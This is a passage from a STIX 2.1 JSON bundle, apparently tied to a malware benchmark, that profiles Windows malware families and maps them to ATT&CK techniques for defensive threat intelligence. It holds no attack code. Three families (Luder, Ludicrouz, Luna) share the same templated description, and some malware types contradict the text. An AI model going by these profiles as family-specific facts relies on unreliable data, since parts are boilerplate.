      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lucky exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue to spread laterally))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1afa6d3e-5921-580f-bd09-d0c54f6348f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33354a51-2afb-5073-a147-c21a3411987b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lucky exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a21fd9d-9866-581d-af38-a43f5f044c9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ludbaruma",
      "description": "Ludbaruma (identified across antivirus products as Worm:Win32/Ludbaruma.A, Worm:Win32/Ludbaruma!pz, and TrojanDropper:Win32/Ludbaruma) is an aggressive Windows worm and screen-locking trojan family that emerged around 2012. Engineered to propagate rapidly across corporate local area networks and removable storage media, Ludbaruma copies its binary to network shares and USB thumb drives while dropping malicious LNK shortcut files that weaponize CVE-2010-2568. Upon initial infection, Ludbaruma copies itself into %TEMP% and %APPDATA%, creates registry autostart run keys, and terminates endpoint security tools. The malware features hybrid blocker capabilities, disabling the Windows Task Manager, Registry Editor, and Command Prompt to inhibit user remediation, while displaying fraudulent warning messages or locking the display. Ludbaruma also maintains C2 communications over HTTP to download secondary ransomware or trojan payloads. (Observed samples in benchmark: 283)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Ludbaruma.A",
        "Worm:Win32/Ludbaruma!pz",
        "TrojanDropper:Win32/Ludbaruma",
        "Win32/Ludbaruma",
        "Ludbaruma.Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ludbaruma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ludbaruma"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1ecadf8-93a1-54fc-b364-dd81f3b4503a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a21fd9d-9866-581d-af38-a43f5f044c9f",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludbaruma exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e699fc2-4393-5a0e-9b2a-465b8ad1c614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a21fd9d-9866-581d-af38-a43f5f044c9f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludbaruma exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e2a6931-74b9-575e-a107-8c16f9a046f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a21fd9d-9866-581d-af38-a43f5f044c9f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludbaruma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5151c8fa-cf05-513f-a6fa-43ce863015f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a21fd9d-9866-581d-af38-a43f5f044c9f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludbaruma exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--755e131b-20bb-569a-bcfb-e44f06f94d34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a21fd9d-9866-581d-af38-a43f5f044c9f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludbaruma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe6075cf-e242-5ae5-8232-5310fe5db5d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Luder",
      "description": "Trojan:Win32/Luder is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Luder</b><br>To an end-user, a Luder infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Luder is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Luder is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Luder frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Luder reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Luder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/luder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44d9c244-dd14-569a-91c4-db268d5020fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe6075cf-e242-5ae5-8232-5310fe5db5d8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luder exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ccb27ed-a708-545c-bdc2-ac7c9a632821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe6075cf-e242-5ae5-8232-5310fe5db5d8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luder exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b0cbdb7-fd5a-536d-a2f9-5a442e2e610f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe6075cf-e242-5ae5-8232-5310fe5db5d8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luder exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--541a5e7f-e78b-5b2b-b13b-6eea0454d22c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe6075cf-e242-5ae5-8232-5310fe5db5d8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luder exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d1d31e8-d8ce-5c84-a22b-3bee9dbd019f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe6075cf-e242-5ae5-8232-5310fe5db5d8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luder exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65fba247-bc3a-5a63-b09b-3042349b8464",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ludicrouz",
      "description": "Trojan:Win32/Ludicrouz is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ludicrouz</b><br>To an end-user, a Ludicrouz infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ludicrouz is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ludicrouz is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ludicrouz frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ludicrouz reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ludicrouz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ludicrouz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e35fe92f-04f0-5b79-9b46-b9147c5c9285",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65fba247-bc3a-5a63-b09b-3042349b8464",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludicrouz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fdc5173-46c9-5ebb-8385-47696f3b7ea5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65fba247-bc3a-5a63-b09b-3042349b8464",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludicrouz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfc6df71-60fe-5e2d-bc1e-781da7e94812",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65fba247-bc3a-5a63-b09b-3042349b8464",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludicrouz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec59b5b1-7653-5a9a-b12b-76295c77663c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65fba247-bc3a-5a63-b09b-3042349b8464",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludicrouz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ab30989-b157-598f-8c3a-f3e5d7b92c21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65fba247-bc3a-5a63-b09b-3042349b8464",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ludicrouz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f5a1202d-1801-55bd-8d82-f7aea49159de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Luhn",
      "description": "Trojan:Win32/Luhn is a highly specialized InfoStealer designed with a singular focus: the theft of credit card and payment data from Point-of-Sale (PoS) systems, hospitality networks, and e-commerce endpoints. The name derives from the malware's utilization of the 'Luhn algorithm' (Modulus 10), a mathematical formula used to rapidly validate credit card numbers (`T1005`).<br><br><b>Understanding Luhn (PoS/Credit Card Stealers)</b><br>To an end-user or cashier, the infection is entirely invisible; the PoS terminal functions normally. For a business, Luhn represents a catastrophic data breach leading to massive PCI-DSS compliance fines, reputational destruction, and financial liability as customer cards are cloned and abused.<br><br><b>Execution and Extraction Mechanics</b><br>Luhn is typically deployed after an attacker has breached a corporate network (often via exposed RDP) and pivoted to the isolated PoS VLAN. Upon execution, it establishes stealthy persistence (e.g., as a hidden Windows Service). Its primary mechanism is 'RAM Scraping' (`T1005`). It continuously scans the volatile memory (RAM) of running processes (like the PoS application itself) looking for Track 1 and Track 2 magnetic stripe data. Before exfiltrating the data, it runs the scraped numbers through the built-in Luhn algorithm to ensure they are valid credit cards, discarding junk data to keep its exfiltration footprint minimal (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the mass compromise of customer financial data. Host-based IoCs include EDR alerts for anomalous processes constantly calling `ReadProcessMemory` against legitimate PoS applications, and the creation of hidden, encrypted staging files in `%Temp%` containing the validated card data. Network IoCs include a 'beacon' or exfiltration burst over HTTP/HTTPS, DNS tunneling, or ICMP to a C2 server, occurring at regular intervals or at the end of the business day. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Luhn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/luhn"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a22aa50e-4d2c-5749-9716-4a14da2691ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f5a1202d-1801-55bd-8d82-f7aea49159de",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luhn exhibits technique T1005 (Data from Local System: RAM Scraping (Continuously scanning memory for credit card data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f202c92-605a-51b7-830f-eed3404af009",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f5a1202d-1801-55bd-8d82-f7aea49159de",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luhn exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the validated Track 1/2 data to the attacker))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4deb0208-c567-5a90-8f1a-a7663756ef35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f5a1202d-1801-55bd-8d82-f7aea49159de",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luhn exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent, stealthy execution on the PoS terminal))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cee2d7c0-7f66-5fdc-ab20-4c533a42aed6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lulusoftware",
      "description": "Adware:Win32/Lulusoftware is a classification primarily associated with deceptive software bundling and aggressive adware distribution. Originally tied to companies distributing 'free' PDF converters or media players, the Lulusoftware installers act as 'download managers' (`T1189`). Their primary function is not the software itself, but forcing the user to navigate a gauntlet of pre-checked 'Optional Offers', resulting in the silent installation of multiple adware toolbars, browser hijackers, and PUPs.<br><br><b>Understanding Lulusoftware (Bundlers)</b><br>To an end-user, the infection is deeply frustrating. They attempt to install a simple PDF reader and suddenly find their default search engine changed to Yahoo, three new toolbars in Chrome, and pop-up ads appearing on the desktop. For an IT department, Lulusoftware installers are a major source of endpoint contamination and helpdesk tickets, significantly degrading system performance.<br><br><b>Execution and Delivery Mechanics</b><br>Lulusoftware relies on deceptive UI design (dark patterns) during the installation process. The 'Express Install' (which is selected by default) grants the installer permission to download and execute secondary payloads (`T1105`). These payloads typically establish persistence via Registry Run keys (`T1547.001`) to continuously serve ads from the system tray. Furthermore, the adware often modifies browser shortcuts and injects its own proxy settings to intercept and monetize the user's web traffic.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe system clutter, degraded performance, and exposure to malvertising. Host-based IoCs include the presence of known Lulusoftware products (e.g., 'Soda PDF' older versions frequently flagged) alongside multiple unknown desktop shortcuts, unauthorized modifications to browser homepages, and a spike in newly installed programs in the Windows Control Panel. Network IoCs involve heavy traffic to affiliate tracking networks and adware distribution servers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lulusoftware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lulusoftware"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af76b1ee-a8d8-536c-8912-e94edbade6e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cee2d7c0-7f66-5fdc-ab20-4c533a42aed6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lulusoftware exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive download portals and software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbf235f5-d00a-5625-af19-70e1a2883e71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cee2d7c0-7f66-5fdc-ab20-4c533a42aed6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lulusoftware exhibits technique T1105 (Ingress Tool Transfer (The installer acting as a conduit for multiple adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dc973ba-96b7-56e5-bb73-5ce15b49424f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cee2d7c0-7f66-5fdc-ab20-4c533a42aed6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lulusoftware exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the adware starts at boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a36c00ec-2d2e-5a43-b9cb-fe4e05071263",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Luminorat",
      "description": "Backdoor:Win32/Luminorat (LuminosityLink RAT) is a highly capable, commercially marketed Remote Access Trojan. Originally sold under the guise of legitimate system administration software, it was widely adopted by threat actors for its powerful feature set, stability, and ease of use. It provides an attacker with comprehensive, interactive control over a compromised Windows system (`T1059`).<br><br><b>Understanding Luminorat (Commercial RAT Abuse)</b><br>To an end-user, the infection is entirely invisible. For an incident response team, the presence of Luminorat indicates an active, intelligent adversary is inside the network. Because the tool was cheap and widely available on hacking forums, the skill level of the attacker using it can range from a script kiddie to an organized cybercrime syndicate.<br><br><b>Execution and Interactive Control Mechanics</b><br>Luminorat is typically delivered via spearphishing campaigns, malspam, or dropped by exploit kits. Upon execution, it establishes persistence via Registry Run keys (`T1547.001`) or hidden Scheduled Tasks. It establishes an encrypted reverse shell connection to the attacker's C2 server. The LuminosityLink control panel provides the attacker with a GUI to execute a wide array of modules: advanced file managers, registry editors, keyloggers (`T1056.001`), password dumpers (targeting browsers and FTP clients), remote desktop (VNC) capabilities (`T1021.001`), and even cryptocurrency mining modules.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system confidentiality, data exfiltration, and a high likelihood of lateral movement. Host-based IoCs include EDR alerts for anomalous command-line execution (e.g., `cmd.exe` or `powershell.exe` spawning from unexpected parent processes), unauthorized access to credential stores, and the creation of hidden staging directories. Network IoCs include a persistent, encrypted outbound connection to an unknown IP address, with traffic volume spiking when the attacker is actively interacting with the system. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Luminorat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/luminorat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3bb43568-c198-5b48-8b6c-52c126486328",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a36c00ec-2d2e-5a43-b9cb-fe4e05071263",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luminorat exhibits technique T1059 (Command and Scripting Interpreter (Providing the attacker with interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fec1464-bcad-5a94-86e3-80b47f53d718",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a36c00ec-2d2e-5a43-b9cb-fe4e05071263",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luminorat exhibits technique T1056.001 (Input Capture: Keylogging (Stealing real-time user input and credentials))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3edec7a-589b-5c56-81c8-69f951def676",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a36c00ec-2d2e-5a43-b9cb-fe4e05071263",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luminorat exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in VNC for graphical access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd848cb1-4642-598c-9154-c9682bf29477",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a36c00ec-2d2e-5a43-b9cb-fe4e05071263",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luminorat exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing files directly through the RAT connection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a43f48b-3320-53f5-bcd2-d87d23eea70a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Luna",
      "description": "Trojan:Win32/Luna is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Luna</b><br>To an end-user, a Luna infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Luna is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Luna is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Luna frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Luna reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Luna",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/luna"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
